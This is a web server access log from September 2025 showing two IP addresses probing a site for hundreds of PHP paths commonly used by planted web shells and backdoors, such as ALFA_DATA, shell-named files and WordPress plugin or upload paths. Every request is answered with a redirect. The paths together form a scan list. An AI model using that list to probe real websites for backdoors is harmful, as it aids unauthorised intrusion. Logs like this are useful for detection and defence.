157.230.250.62 - - [23/Sep/2025:13:11:58 -0400] "GET /simple.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:12:06 -0400] "GET /wp-includes//wp-includes/admin-bar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:12:11 -0400] "GET /wp-includes/images/crystal/array_unique.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:12:16 -0400] "GET /wp-content/uploads/sass/nav-menu.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:12:17 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:12:22 -0400] "GET /wp-includes/livelo-accrualsPoints.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:12:27 -0400] "GET /wp-includes/Requests/src/Auth.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:12:27 -0400] "GET /admin/parameters.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:12:30 -0400] "GET /index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:12:36 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:12:37 -0400] "GET /admin/sauvegarde/emergency/emergency.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:12:08 -0400] "GET /link.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:12:16 -0400] "GET /include/pages/registro_procedencia.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:12:27 -0400] "GET /wp-content/uploads/et_temp/cloud.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:12:27 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:12:31 -0400] "GET /wp-includes/Requests/Exception/cong.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:12:40 -0400] "GET /.well-known/acme-challenge/xcvytery/cloud.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:12:42 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:12:50 -0400] "GET /admin/viongozi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:12:56 -0400] "GET /.well-known/cloud.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:13:03 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:13:10 -0400] "GET /sign.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:13:11 -0400] "GET /wp-content/patior/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:13:12 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:13:16 -0400] "GET /assets/snippets/custom/haz-card-assign.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:13:20 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:13:24 -0400] "GET /css/combined.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:13:26 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:13:27 -0400] "GET /qDAya.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:13:31 -0400] "GET /confcom.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:13:36 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:13:38 -0400] "GET /416464.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:13:41 -0400] "GET /admin/users.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:13:51 -0400] "GET /wp-includes/Requests/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:13:54 -0400] "GET /admin/catalog/%23ppere.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:14:00 -0400] "GET /wp-includes/certificates/cloud.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:14:01 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:14:13 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:14:16 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:12:45 -0400] "GET /wp-includes/sodium_compat/class.enhanced.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:12:49 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:12:56 -0400] "GET /css/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:13:01 -0400] "GET /wp-includes/random_compat/random_bytes_cyclone.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:13:02 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:13:05 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:13:07 -0400] "GET /admin/addGallery.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:13:07 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:13:09 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:13:13 -0400] "GET /wp-includes/block-patterns/cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:13:35 -0400] "GET /leM1.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:13:41 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:13:46 -0400] "GET /wp-includes/SimplePie/XML/rad2deg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:13:51 -0400] "GET /wp-includes/fonts/back.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:14:06 -0400] "GET /wp-includes/RxRvtaahlsn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:14:09 -0400] "GET /sitemaps.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:14:14 -0400] "GET /sessions.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:14:17 -0400] "GET /itc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:14:19 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:14:21 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:14:41 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:14:46 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:14:51 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:14:54 -0400] "GET /defend.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:15:02 -0400] "GET /feed.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:14:24 -0400] "GET /query.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:14:26 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:14:36 -0400] "GET /.well-known/acme-challenge/wp-signup.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:14:37 -0400] "GET /option.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:14:46 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:14:48 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:14:59 -0400] "GET /defense.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:15:05 -0400] "GET /wp-includes/block-supports/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:15:06 -0400] "GET /ms-site.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:15:11 -0400] "GET /feed-atom.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:15:20 -0400] "GET /bookmark.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:15:23 -0400] "GET /session.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:15:27 -0400] "GET /loginout.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:15:34 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:15:34 -0400] "GET /wp-includes/css/themes.php%20 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:15:43 -0400] "GET /Ezoy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:15:55 -0400] "GET /iron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:16:00 -0400] "GET /Ezoy.php7 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:16:02 -0400] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:16:05 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:16:17 -0400] "GET /screen.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:16:19 -0400] "GET /Ez0y.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:16:22 -0400] "GET /class-wp-http.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:16:24 -0400] "GET /wp-content/backups-dup-lite/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:16:25 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:16:32 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:15:12 -0400] "GET /wp-admin/images/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:15:15 -0400] "GET /deprecated.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:15:20 -0400] "GET /wp-includes/js/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:15:26 -0400] "GET /wp-includes/pomo/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:15:33 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:15:34 -0400] "GET /class-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:15:39 -0400] "GET /class-IXR.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:15:45 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:15:47 -0400] "GET /xdiff.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:15:51 -0400] "GET /class-wp-styles.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:15:55 -0400] "GET /wp-includes/rest-api/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:16:10 -0400] "GET /compat.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:16:10 -0400] "GET /wp-includes/Requests/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:16:13 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:16:16 -0400] "GET /wp-content/fonts/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:16:18 -0400] "GET /wp-content/themes/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:16:19 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:16:26 -0400] "GET /wp-content/uploads/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:16:28 -0400] "GET /wp-includes/theme-compat/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:16:28 -0400] "GET /wtfak.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:16:31 -0400] "GET /wp-clas.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:16:34 -0400] "GET /css/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:16:42 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:16:46 -0400] "GET /misc.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:16:55 -0400] "GET /wp-includes/certificates/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:17:06 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:17:06 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:17:10 -0400] "GET /alfates.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:17:11 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:17:14 -0400] "GET /tesla.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:17:19 -0400] "GET /digi.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:17:19 -0400] "GET /fm1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:17:27 -0400] "GET /VgOhh.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:17:39 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:17:42 -0400] "GET /SfLbt.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:17:47 -0400] "GET /goods.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:17:48 -0400] "GET /aYWiw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:17:52 -0400] "GET /EDlTn.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:17:53 -0400] "GET /function/function.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
146.190.11.185 - - [23/Sep/2025:13:17:55 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:13:17:56 -0400] "GET /IWTHA.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:18:01 -0400] "GET /index/function.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:18:09 -0400] "GET /goblok.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:16:34 -0400] "GET /wp-clss.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:16:40 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:16:53 -0400] "GET /dashboard.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:16:56 -0400] "GET /ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:17:00 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:17:01 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:17:23 -0400] "GET /Bqkhs.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:17:28 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:17:31 -0400] "GET /LEjBH.php HTTP/1.1" 301 795 "-" "-"
